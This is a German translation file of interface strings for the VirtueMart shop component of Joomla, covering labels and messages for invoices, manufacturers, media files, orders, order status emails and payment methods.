COM_VIRTUEMART_HI="Hallo," COM_VIRTUEMART_HIDE_OUT_OF_STOCK="Nicht vorrätige Produkte verbergen" COM_VIRTUEMART_ID="Id" COM_VIRTUEMART_IMAGE="Abbildung" COM_VIRTUEMART_IMAGES="Abbildungen" COM_VIRTUEMART_INCLUDING_TAX="(inklusive $MwSt %MwSt)" COM_VIRTUEMART_INFO_MSG_VAT_ZERO_LBL="0 (-keine-)" COM_VIRTUEMART_INSTALLATION_PLZ_RENEW_CONFIG="Bitte verwenden Sie Konfiguration aus Datei erneuern in Werkzeuge => Aktualisierungen/ Migration" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="Die Installation war erfolgreich" COM_VIRTUEMART_INSTALLATION_WELCOME="Willkommen bei VirtueMart
            Die komplette E-Kommerz Warenkorb-Lösung für Joomla" COM_VIRTUEMART_INSTALL_DONATION="Bitte erwägen Sie eine kleine Spende an das VirtueMart Projekt. Es hilft uns, die Arbeit an dieser Komponente fortzuführen" COM_VIRTUEMART_INSTALL_FURTHER_HELP="Gehen Sie nach VirtueMart für weitere Hilfe" COM_VIRTUEMART_INSTALL_GO_SHOP="Zum Shop" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Beispieldaten installieren" COM_VIRTUEMART_INTNOTES="Interne Produkt-Notizen" COM_VIRTUEMART_INVOICE="Rechnung" COM_VIRTUEMART_INVOICE_CREATE="Rechnung erstellen" COM_VIRTUEMART_INVOICE_DATE="Rechnungsdatum" COM_VIRTUEMART_INVOICE_NUMBER_RESERVED="Rechnungsnummer ist durch Zahlung reserviert." COM_VIRTUEMART_INVOICE_PRINT="Rechnung drucken" COM_VIRTUEMART_ITEM="Artikel" COM_VIRTUEMART_ITEMS_MOVED="Sie haben insgesamt %s Artikel sortiert" COM_VIRTUEMART_ITEMS_NOT_MOVED="Artikel war bereits gut sortiert" COM_VIRTUEMART_ITEM_MOVED_DOWN="Artikel nach unten verschoben" COM_VIRTUEMART_ITEM_MOVED_UP="Artikel nach oben verschoben" COM_VIRTUEMART_ITEM_NEXT="nächster" COM_VIRTUEMART_ITEM_PREVIOUS="vorheriger" COM_VIRTUEMART_I_AGREE_TO_TOS="Ich stimme den Allgemeinen Geschäftsbedingungen zu" COM_VIRTUEMART_JPLUGINWARNING="Bitte konfigurieren Sie VirtueMart Versand- oder Zahlungs-Plugins innerhalb der VirtueMart Komponente" ; JAVASCRIPT Declaration, respect the Json format use this fromat "key: 'value',..." DO NOT EDIT /change KEY COM_VIRTUEMART_JS_STRINGS=" editImage: 'Bild bearbeiten',select_all_text: 'Alle Optionen auswählen',select_some_options_text :'Mehrere Optionen auswählen', select_an_option_text:'Eine Option auswählen'" COM_VIRTUEMART_LANG_IS_EMPTY="Keine (%1$s) Übersetzung in %2$s, bitte füllen Sie die Felder mit Flaggen aus" COM_VIRTUEMART_LAST_UPDATED="Zuletzt aktualisiert" COM_VIRTUEMART_LATEST="Neueste Produkte" COM_VIRTUEMART_LATEST_PRODUCT="Neueste Produkte" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS="Neueste Produkte - Anzeigedauer in Tagen" COM_VIRTUEMART_LATEST_PRODUCTS_DAYS_EXPLAIN="Zeitraum in aufeinander folgenden Tagen, an denen 'Neueste Produkte' angezeigt werden" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY="Neueste Produkte - Sortierung der Anzeige" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_CREATED="Zuletzt erstellte Produkte zuerst" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_EXPLAIN="Reihenfolge der Anzeige 'Neueste Produkte'" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_MODIFIED="Zuletzt bearbeitete Produkte zuerst" COM_VIRTUEMART_LEGALINFO_SHORTTEXT="
            Rückgaberecht
            Sie können diese Bestellung innerhalb von zwei Wochen, nachdem wir Sie erhalten haben, stornieren. Sie können neue, ungeöffnete Artikel, die Sie storniert haben, innerhalb von zwei Wochen, nachdem Sie diese erhalten haben, zurücksenden. Für weitere Informationen über die Stornierung von Bestellungen und die Rücksendung von Artikeln, lesen Sie bitte Ihr Rückgaberecht." COM_VIRTUEMART_LIST="Liste" COM_VIRTUEMART_LISTREVIEWS="Liste Rezensionen" COM_VIRTUEMART_LIST_ALL_PRODUCTS="Alle Produkte anzeigen" COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT="Liste aller %s Varianten" COM_VIRTUEMART_LIST_EMPTY_OPTION="Bitte wählen" COM_VIRTUEMART_LIST_LIMIT="maximale Anzahl der Produkte im Frontend pro Ansichtseite" COM_VIRTUEMART_LIST_LIMIT_EXPLAIN="Das Standard-Limit für die angezeigte Paginierung in den Frontend Ansichten" COM_VIRTUEMART_LIST_ORDER="Listensortierung" COM_VIRTUEMART_LOST_PASSWORD="Passwort vergessen?" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION="Benachrichtigung geringer Bestand " COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_MESSAGE="Es sind nur noch {product_in_stock} Exemplare des Artikels {product_name} (SKU {product_sku}) vorrätig." COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_SUBJECT="Status geringer Bestand für %s erreicht" COM_VIRTUEMART_LWH_UNIT_DEFAULT="Standard L/B/H Einheit" COM_VIRTUEMART_LWH_UNIT_DEFAULT_EXPLAIN="Bestimmen Sie die Standard-Maßeinheit für Ihren Shop" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_C="[%3$s], Bestätigung Ihrer Bestellung bei %1$s, Gesamtbetrag %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_P="[%3$s], Bestellung wird bearbeitet bei %1$s, Gesamtbetrag %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_R="[%3$s], Bestellung rückerstattet von %1$s, Gesamtbetrag %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_S="[%3$s], Bestellung versendet von %1$s, Gesamtbetrag %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_U="[%3$s], Bestellung bestätigt von %1$s, Gesamtbetrag %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_X="[%3$s], Bestellung storniert von %1$s, Gesamtbetrag %2$s" COM_VIRTUEMART_MANAGE_USER_FIELDS="Liste der Käufer-Felder" COM_VIRTUEMART_MANUFACTURER="Hersteller" COM_VIRTUEMART_MANUFACTURERCATEGORIES="Hersteller Kategorie" COM_VIRTUEMART_MANUFACTURER_CATEGORY="Hersteller-Kategorie" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DESCRIPTION="Hersteller-Kategorie Beschreibung" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DETAILS="Hersteller-Kategorie Details" COM_VIRTUEMART_MANUFACTURER_CATEGORY_LIST="Liste" COM_VIRTUEMART_MANUFACTURER_CATEGORY_NAME="Hersteller-Kategorie Bezeichnung" COM_VIRTUEMART_MANUFACTURER_CATEGORY_S="Hersteller-Kategorien" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_INFO_LBL="Kategorie Informationen" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_LBL="Hersteller-Kategorie Formular" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_NAME="Kategorie Bezeichnung" COM_VIRTUEMART_MANUFACTURER_CAT_LIST_LBL="Hersteller-Kategorie Liste" COM_VIRTUEMART_MANUFACTURER_CAT_MANUFACTURERS="Hersteller" COM_VIRTUEMART_MANUFACTURER_CAT_NAME="Kategorie Bezeichnung" COM_VIRTUEMART_MANUFACTURER_DESCRIPTION="Beschreibung" COM_VIRTUEMART_MANUFACTURER_DETAILS="Hersteller Informationen" COM_VIRTUEMART_MANUFACTURER_EMAIL="Hersteller E-Mail" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="Wählen Sie einen Hersteller" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="Erstellt einen Link zur Anzeige des ausgewählten Herstellers" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Hersteller wählen" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE_DESC="Erstellt einen Link zum Hersteller" COM_VIRTUEMART_MANUFACTURER_FORM_INFO_LBL="Hersteller Informationen" COM_VIRTUEMART_MANUFACTURER_IMAGE="Hersteller-Abbildung" COM_VIRTUEMART_MANUFACTURER_LIST_ADMIN="Admin" COM_VIRTUEMART_MANUFACTURER_MOD="Hersteller" COM_VIRTUEMART_MANUFACTURER_NAME="Name des Herstellers" COM_VIRTUEMART_MANUFACTURER_S="Hersteller" COM_VIRTUEMART_MANUFACTURER_SHOW="Alle Hersteller in dieser Kategorie anzeigen" COM_VIRTUEMART_MANUFACTURER_URL="Hersteller URL" COM_VIRTUEMART_MANUFACTURER_URL_TIP="Hersteller URL muss mit http:// beginnen" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Zeigt die Herstellerliste in VirtueMart" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="VirtueMart Hersteller Standard-Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Zeigt einen einzelnen VirtueMart Hersteller an" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="VirtueMart Hersteller Details Layout" COM_VIRTUEMART_MEDIA="Media-Datei" COM_VIRTUEMART_MEDIA_CHOOSE_TYPE="Wählen Sie den Medientyp für Medien mit Dateiname %1$s" COM_VIRTUEMART_MEDIA_MANAGER="Media Datei-Manager" COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE="Media-Dateien müssen Titel haben" COM_VIRTUEMART_MEDIA_MUST_HAVE_URL="Media-Dateien müssen eine url haben" COM_VIRTUEMART_MEDIA_NO_PATH_TYPE="Medien des Typs %1$s ist keine relative URL zugeordnet. Bitte konfigurieren Sie diese zuerst und kommen dann hierher zurück." COM_VIRTUEMART_MEDIA_S="Media-Dateien" COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE="Media-Dateien sollten einen Mime-Typ haben" COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP="BMP-Dateien sind keine gute Wahl für das Internet" COM_VIRTUEMART_MENU="Menü" COM_VIRTUEMART_MESSAGE_PROMPT="Geben Sie Ihre Nachricht ein" COM_VIRTUEMART_METAAUTHOR="Autor" COM_VIRTUEMART_METADESC="Produkt Meta Beschreibung" COM_VIRTUEMART_METAKEY="Produkt Meta Schlüsselwörter" COM_VIRTUEMART_METAROBOT="Produkt Meta Robot" COM_VIRTUEMART_META_AUTHOR="Autor" COM_VIRTUEMART_META_DESC="Meta Beschreibung" COM_VIRTUEMART_META_INFORMATION="Meta Information" COM_VIRTUEMART_META_KEYWORDS="Meta Schüsselwörter" COM_VIRTUEMART_META_ROBOTS="Meta Robots" COM_VIRTUEMART_MF_CATEGORY_NAME="Hersteller Kategorie Name" COM_VIRTUEMART_MF_NAME="Name des Herstellers" COM_VIRTUEMART_MIGRATE="Migration starten" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE="Standard Kategorie Layout (browse page) ohne .php" COM_VIRTUEMART_MIGRATION_DCAT_FLY="Standard Kategorie Produkt-Layout (flypage) ohne .php" COM_VIRTUEMART_MIGRATION_REWRITE_ORDER_NUMBER="Bestellnummern neu schreiben" COM_VIRTUEMART_MIGRATION_STOREOWNERID="Schreiben Sie hier die neue Ladenbesitzer Identifikationsnummer" COM_VIRTUEMART_MIGRATION_TAB="Migration" COM_VIRTUEMART_MIGRATION_UPDATE="Aktualisierung/Migration" COM_VIRTUEMART_MIGRATION_USER_ORDER_ID ="Die vm1 Bestellnummer (id) als vm2 Bestellnummer benutzen" COM_VIRTUEMART_MINICART_ADDED="dem Warenkorb hinzugefügt" COM_VIRTUEMART_MINICART_DESC="Zeigt den VirtueMart Warenkorb" COM_VIRTUEMART_MINICART_ERROR="Warenkorb Fehler" COM_VIRTUEMART_MODIFIED_ON="Datum der letzten Produktänderung" COM_VIRTUEMART_MODULES_FORCE_HTTPS="Shop Bereiche, die https benutzen müssen" COM_VIRTUEMART_MODULES_FORCE_HTTPS_TIP="Hier können Sie eine Komma-separierte Liste der Shop Stamm-Module verwenden(Siehe 'Admin' ='> 'List Modules'), welche https Verbindungen benutzen sollen." COM_VIRTUEMART_MODULE_ADDED="Das Modul wurde hinzugefügt." COM_VIRTUEMART_MODULE_NAME="Name" COM_VIRTUEMART_MONTH="Monat" COM_VIRTUEMART_MONTH_S="Monate" COM_VIRTUEMART_MORE="Mehr..." COM_VIRTUEMART_MORE_CATEGORIES="mehr Kategorien" COM_VIRTUEMART_MORE_IMAGES="Mehr Abbildungen ansehen" COM_VIRTUEMART_MOVE_DOWN="nach unten" COM_VIRTUEMART_MOVE_UP="nach oben" COM_VIRTUEMART_MULTISELECT="Mehrfachauswahl" COM_VIRTUEMART_NAME="Name" COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS="Der Name des Benutzerfeldes enthält unzulässige Zeichen" COM_VIRTUEMART_NEVER="-Nie-" COM_VIRTUEMART_NEW_ITEMS_PLACE="Neue Artikel werden standardmäßig auf den letzten Platz gesetzt. Reihenfolge kann nach Speicherung des Artikels geändert werden." COM_VIRTUEMART_NEW_ORDERING_SAVED="Neue Reihenfolge gespeichert" COM_VIRTUEMART_NEW_USER_MESSAGE="Hallo %s, eine neuer Benutzer bei %s registriert." COM_VIRTUEMART_NEW_USER_MESSAGE_SUBJECT="New Benutzer-Details" COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT="Ein neuer Benutzer %1$s hat sich bei Ihrem Shop registriert" COM_VIRTUEMART_NEW_VENDOR="Neuer Verkäufer" COM_VIRTUEMART_NO="Nein" COM_VIRTUEMART_NONE="Keine" COM_VIRTUEMART_NON_UNIQUE="Fehler - kann %s nicht ohne einzigartigen %s speichern" COM_VIRTUEMART_NON_UNIQUE_WARN="%s war nicht einzigartig in Tabelle %s, angefügte Zufallszahl: %s" COM_VIRTUEMART_NOTIFIED="Benachrichtigt" COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND="Konnte keine Mitteilung senden an" COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG="Mitteilung gesendet an" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA="Konnte die VirtueMart Benutzerinfo Adressdaten nicht speichern" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA="Konnte die VirtueMart Benutzerdaten nicht speichern" COM_VIRTUEMART_NOT_AUTH="Sie sind nicht berechtigt, diesen Bereich einzusehen." COM_VIRTUEMART_NO_ACCOUNT="Noch kein Konto?" COM_VIRTUEMART_NO_CUSTOMER="Sie sind noch kein registrierter Kunde. Bitte geben Sie Ihre Daten für die Rechnungsstellung ein." COM_VIRTUEMART_NO_DESCRIPTION_FOUND="Keine Beschreibung gefunden" COM_VIRTUEMART_NO_FILES_FOUND="Keine Dateien gefunden" COM_VIRTUEMART_NO_IMAGE_FOUND="Keine Abbildung gefunden" COM_VIRTUEMART_NO_IMAGE_SET="Keine Abbildung zugeordnet" COM_VIRTUEMART_NO_ITEMS_SELECTED="Keine Artikel ausgewählt" COM_VIRTUEMART_NO_MEDIA="Sorry, dies ist keine gültige Medien-Datei" COM_VIRTUEMART_NO_MEDIA_FILES="Keine Abbildungen gefunden" COM_VIRTUEMART_NO_MORE_ORDERS="Keine weiteren Bestellungen" COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED="Es sind keine Zahlungs-Plugins installiert. Bitte gehen Sie zu http://dev.VirtueMart.net/projects/VirtueMart/files zwecks herunterladen/installieren der neuesten com_virtuemart_aio" COM_VIRTUEMART_NO_PRICE_SET="Kein Preis festgelegt" COM_VIRTUEMART_NO_RESTRICTION="Keine Beschränkung" COM_VIRTUEMART_NO_REVIEWS="Es gibt noch keine Rezensionen für dieses Produkt." COM_VIRTUEMART_NO_SEARCH_RESULT="Ihre Suche ergab 0 Ergebnisse.
            " COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED="Es sind keine Versand-Plugins installiert. Bitte gehen Sie zu http://dev.VirtueMart.net/projects/VirtueMart/files zwecks herunterladen/installieren der neuesten com_virtuemart_aio" COM_VIRTUEMART_NO_VALID_DOWNLOADROOT_SET="Verzeichnis zum herunterladen nicht gesetzt" COM_VIRTUEMART_OFFLINE_MODE="Offlinebetrieb" COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER="Bitte registrieren Sie sich um die Vorteile registrierter Benutzer zu erlangen oder klicken Sie auf »Sichern« um anonym auszuchecken." COM_VIRTUEMART_OPERATION_CANCELED="Vorgang abgebrochen!!" COM_VIRTUEMART_ORDER="Bestellung" COM_VIRTUEMART_ORDERBY="Sortieren nach" COM_VIRTUEMART_ORDERING="Sortierung" COM_VIRTUEMART_ORDERS="Bestellung" COM_VIRTUEMART_ORDERSTATUS="Bestellstatus" COM_VIRTUEMART_ORDERSTATUS_DETAILS="Bestellstatus Details" COM_VIRTUEMART_ORDERSTATUS_S="Bestellstatus" COM_VIRTUEMART_ORDERS_LIST="Bestellungen Liste" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="VirtueMart auflisten" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="VirtueMart auflisten" COM_VIRTUEMART_ORDER_AMOUNT="Betrag" COM_VIRTUEMART_ORDER_CDATE="Datum der Bestellung" COM_VIRTUEMART_ORDER_CHANGE_UPD_BILL="Rechnungsadresse ändern" COM_VIRTUEMART_ORDER_CHANGE_UPD_SHIP="Lieferadresse ändern" COM_VIRTUEMART_ORDER_DELETE_ERR_ID="Löschen ist nicht möglich ohne die Auftragsnummer." COM_VIRTUEMART_ORDER_DELETE_ITEM_JS="Sind Sie sicher, dass Sie diesen Artikel löschen möchten?" COM_VIRTUEMART_ORDER_EDIT="Details der Bestellung ändern" COM_VIRTUEMART_ORDER_EDIT_ACTIONS="Aktionen" COM_VIRTUEMART_ORDER_EDIT_ADD="Hinzufügen" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT="Wählen Sie ein Produkt" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT_BY_SKU="Wählen Sie eine Artikelnummer" COM_VIRTUEMART_ORDER_EDIT_EDIT_ORDER="Bestellung ändern" COM_VIRTUEMART_ORDER_EDIT_ERROR_QUANTITY_MUST_BE_HIGHER_THAN_0="Menge muß größer als 0 sein." COM_VIRTUEMART_ORDER_EDIT_ORDER_ID="Bestell-Nr. bearbeiten" COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER="Reihenfolge bearbeiten" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_ADDED="Das Produkt wurde dieser Bestellung hinzugefügt" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_DELETED="Das Produkt wurde aus dieser Bestellung entfernt" COM_VIRTUEMART_ORDER_EDIT_QUANTITY_UPDATED="Menge ist aktualisiert worden" COM_VIRTUEMART_ORDER_EDIT_RETURN_PARENTS="zurück zum Stammprodukt" COM_VIRTUEMART_ORDER_EDIT_SOMETHING_HAS_CHANGED=" ist geändert worden" COM_VIRTUEMART_ORDER_EDIT_USER="Benutzer bearbeiten" COM_VIRTUEMART_ORDER_EXPORT="Export Module" COM_VIRTUEMART_ORDER_EXPORT_CLASS_NAME="Export-Modul Klassenname" COM_VIRTUEMART_ORDER_EXPORT_CLASS_NAME_TIP="(z.B. ps_olsi)" COM_VIRTUEMART_ORDER_EXPORT_CONFIG="Konfiguration Bestellungs-Export" COM_VIRTUEMART_ORDER_EXPORT_CONFIG_TIP="Hier können Sie Ihren Bestelldaten-Export konfigurieren. Es muß gültiger PHP Code sein!" COM_VIRTUEMART_ORDER_HISTORY="Bestellhistorie" COM_VIRTUEMART_ORDER_HISTORY_COMMENT="Kommentar" COM_VIRTUEMART_ORDER_HISTORY_COMMENT_EMAIL="Kommentare zu Ihrer Bestellung : " COM_VIRTUEMART_ORDER_HISTORY_CUSTOMER_NOTIFIED="Käufer benachrichtigt?" COM_VIRTUEMART_ORDER_HISTORY_DATE_ADDED="Datum der Hinzufügung" COM_VIRTUEMART_ORDER_HISTORY_INCLUDE_COMMENT="Diesen Kommentar einbinden?" COM_VIRTUEMART_ORDER_ID="Auftragsnummer" COM_VIRTUEMART_ORDER_ITEM="Bestellte Artikel" COM_VIRTUEMART_ORDER_LABEL_NEVERGENERATED="Etikett wurde noch nicht generiert" COM_VIRTUEMART_ORDER_LABEL_NOTFOUND="Kein Eintrag zu der Bestellung in den Versandetikett-Daten gefunden." COM_VIRTUEMART_ORDER_LABEL_ORDERID_NOTVALID="Bitte stellen Sei eine gültige, numerische, Bestellnummer zur Verfügung, nicht '{order_id}'" COM_VIRTUEMART_ORDER_LABEL_SHIPPINGLABEL_LBL="Versandetikett" COM_VIRTUEMART_ORDER_LABEL_SIGNATURENEVER="Signatur wurde niemals abgerufen" COM_VIRTUEMART_ORDER_LINK="Folgen Sie diesem Link um die Details der Bestellung zu betrachten." COM_VIRTUEMART_ORDER_LIST_ID="Auftragsnummer" COM_VIRTUEMART_ORDER_LIST_LBL="Bestellliste" COM_VIRTUEMART_ORDER_LIST_MDATE="zuletzt aktualisiert" COM_VIRTUEMART_ORDER_LIST_NOTIFY="Käufer benachrichtigen?" COM_VIRTUEMART_ORDER_LIST_NOTIFY_ERR="Bitte ändern Sie zuerst den Bestellstatus!" COM_VIRTUEMART_ORDER_LIST_NUMBER="Bestellnummer" COM_VIRTUEMART_ORDER_LIST_PRINT_LABEL="Etikett drucken" COM_VIRTUEMART_ORDER_LIST_SEARCH_BY_DATE="Suche nach Datum" COM_VIRTUEMART_ORDER_LIST_STATUS="Status" COM_VIRTUEMART_ORDER_LIST_TRACK="Verfolgen" COM_VIRTUEMART_ORDER_LIST_VOID_LABEL="Ungültiges Etikett" COM_VIRTUEMART_ORDER_MOD="Bestellungen & Käufer" COM_VIRTUEMART_ORDER_NOTFOUND="Bestellung nicht gefunden! Sie könnte gelöscht worden sein." COM_VIRTUEMART_ORDER_NOT_UPDATED="Keine Änderung, bitte ändern Sie den Status in den Bestellungen, um sie zu aktualisieren!" COM_VIRTUEMART_ORDER_NOT_UPDATED_SUCCESSFULLY="%1$s Bestellungen von %2$s Bestellungen haben Fehler gemeldet." COM_VIRTUEMART_ORDER_NUMBER="Bestellnummer" COM_VIRTUEMART_ORDER_PAYMENT_CCV_CODE="Kartenprüfnummer" COM_VIRTUEMART_ORDER_PRINT_ACCOUNT_NAME="Kontobezeichnung" COM_VIRTUEMART_ORDER_PRINT_ACCOUNT_NUMBER="Kontonummer" COM_VIRTUEMART_ORDER_PRINT_ADDRESS_1="Adresse 1" COM_VIRTUEMART_ORDER_PRINT_ADDRESS_2="Adresse 2" COM_VIRTUEMART_ORDER_PRINT_BILL_TO_LBL="Rechnung an" COM_VIRTUEMART_ORDER_PRINT_CITY="Stadt" COM_VIRTUEMART_ORDER_PRINT_COMPANY="Firma" COM_VIRTUEMART_ORDER_PRINT_COUNTRY="Land" COM_VIRTUEMART_ORDER_PRINT_CUSTOMER_NOTE="Notiz des Käufers" COM_VIRTUEMART_ORDER_PRINT_CUST_BILLING_LBL="Rechnungsinformation" COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL="Käuferinformation" COM_VIRTUEMART_ORDER_PRINT_CUST_SHIPPING_LBL="Versandinformation" COM_VIRTUEMART_ORDER_PRINT_EMAIL="E-Mail" COM_VIRTUEMART_ORDER_PRINT_EXPIRE_DATE="Verfalldatum" COM_VIRTUEMART_ORDER_PRINT_FAX="Fax" COM_VIRTUEMART_ORDER_PRINT_ITEMEDIT_LBL="Bestellten Artikel bearbeiten" COM_VIRTUEMART_ORDER_PRINT_ITEM_STATUS="Status der bestellten Produkte" COM_VIRTUEMART_ORDER_PRINT_NAME="Name" COM_VIRTUEMART_ORDER_PRINT_PAYMENT="Zahlungsgebühr" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_LBL="Zahlungsart" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_TAX="Zahlunggebühr MwSt" COM_VIRTUEMART_ORDER_PRINT_PHONE="Telefon" COM_VIRTUEMART_ORDER_PRINT_PO_DATE="Bestelldatum" COM_VIRTUEMART_ORDER_PRINT_PO_ID="Auftragsnummer" COM_VIRTUEMART_ORDER_PRINT_PO_IPADDRESS="IP-Adresse" COM_VIRTUEMART_ORDER_PRINT_PO_LBL="Bestellung auf Rechnung" COM_VIRTUEMART_ORDER_PRINT_PO_NUMBER="Bestellnummer" COM_VIRTUEMART_ORDER_PRINT_PO_PASS="Geheimer Schlüssel" COM_VIRTUEMART_ORDER_PRINT_PO_STATUS="Bestellstatus" COM_VIRTUEMART_ORDER_PRINT_PRICE="Preis" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_STATUS="Produkt Status" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_TAX="MwSt" COM_VIRTUEMART_ORDER_PRINT_QTY="Menge" COM_VIRTUEMART_ORDER_PRINT_QUANTITY="Menge" COM_VIRTUEMART_ORDER_PRINT_SHIPMENT_LBL="Beförderungsunternehmen" COM_VIRTUEMART_ORDER_PRINT_SHIPPING="Versand-und Bearbeitungskosten" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_MODE_LBL="Versandart" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_PRICE_LBL="Versandkosten" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_TAX="Steuern auf Versandkosten" COM_VIRTUEMART_ORDER_PRINT_SHIP_TO_LBL="Versenden an" COM_VIRTUEMART_ORDER_PRINT_SKU="Artikelnummer" COM_VIRTUEMART_ORDER_PRINT_STATE="Land/Provinz/Region" COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL="Zwischensumme" COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL_DISCOUNT_AMOUNT="Preisnachlaß" COM_VIRTUEMART_ORDER_PRINT_TAX="MwSt" COM_VIRTUEMART_ORDER_PRINT_TOTAL="Endsumme" COM_VIRTUEMART_ORDER_PRINT_TOTAL_PAYMENT="Endsumme in Zahlungswährung" COM_VIRTUEMART_ORDER_PRINT_TOTAL_TAX="Summe MwSt." COM_VIRTUEMART_ORDER_PRINT_ZIP="Postleitzahl" COM_VIRTUEMART_ORDER_S="Bestellungen" COM_VIRTUEMART_ORDER_STATUS_CANCELLED="Abgebrochen" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_1="der Status Ihrer Bestellsnummer %s wurde geändert." COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_2="Neuer Status ist : " COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_3="Um die Details der Bestellung zu betrachten, folgen Sie bitte diesem Link (oder kopieren Sie ihn in ihren Browser)" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_SUBJ="Bestellstatus Änderung" COM_VIRTUEMART_ORDER_STATUS_CODE="Bestellstatus Code" COM_VIRTUEMART_ORDER_STATUS_CODE_CORE="Bestell-Status-Code wird von VirtueMart verwendet. Kann nicht gelöscht werden." COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS="Dieser Bestell-Status-Code existiert bereits. Bitte wählen Sie einen anderen." COM_VIRTUEMART_ORDER_STATUS_CODE_TIP="Bestellstatus Code ist nur ein einziges Zeichen" COM_VIRTUEMART_ORDER_STATUS_CONFIRMED="Bestätigt" COM_VIRTUEMART_ORDER_STATUS_CONFIRMED_BY_SHOPPER="Vom Kunden bestätigt" COM_VIRTUEMART_ORDER_STATUS_NAME="Bestellstatus Bezeichnung" COM_VIRTUEMART_ORDER_STATUS_PENDING="In Bearbeitung" COM_VIRTUEMART_ORDER_STATUS_REFUNDED="Erstattet" COM_VIRTUEMART_ORDER_STATUS_SHIPPED="Versendet" COM_VIRTUEMART_ORDER_STATUS_STOCK_AVAILABLE="Ist verfügbar" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE="Bestandsveränderung" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE_TIP="Wählen Sie die Bestandsveränderung, die ausgeführt werden soll, wenn der Bestellstatus geändert wird.
            Reservierte Bestände werden vom verkäuflichen Bestand abgezogen, bleiben aber im Lagerbestand." COM_VIRTUEMART_ORDER_STATUS_STOCK_OUT="Bestand verringern" COM_VIRTUEMART_ORDER_STATUS_STOCK_RESERVED="Ist reserviert" COM_VIRTUEMART_ORDER_UPDATED_SUCCESSFULLY="{X} Bestellungen wurden aktualisiert" COM_VIRTUEMART_ORDER_UPDATE_LINESTATUS="Status für alle Zeilen aktualisieren?" COM_VIRTUEMART_ORDER_UPDATE_STATUS="Status aktualisieren" COM_VIRTUEMART_ORDER_USER_CURRENCY_RATE="Wechselkurs" COM_VIRTUEMART_ORDER_VIEW_LIST_DESC="Alle VirtueMart Bestellungen auflisten" COM_VIRTUEMART_ORDER_VIEW_LIST_TITLE="VirtueMart Bestellungen auflisten" COM_VIRTUEMART_OVERWRITE_FINAL="Endpreis überschreiben" COM_VIRTUEMART_OVERWRITE_PRICE_TAX="Nettopreis überschreiben" COM_VIRTUEMART_PAYMENT="Zahlung" COM_VIRTUEMART_PAYMENTMETHOD="Zahlungsart" COM_VIRTUEMART_PAYMENTMETHOD_CLASS_NOT_EXIST="Die gewählte Zahlungsart kann nicht instanziiert werden, weil sie nicht existiert." COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT="Code" COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT_TIP="Ein einzigartiger Code für die Zahlungsart (z.B.: PP)" 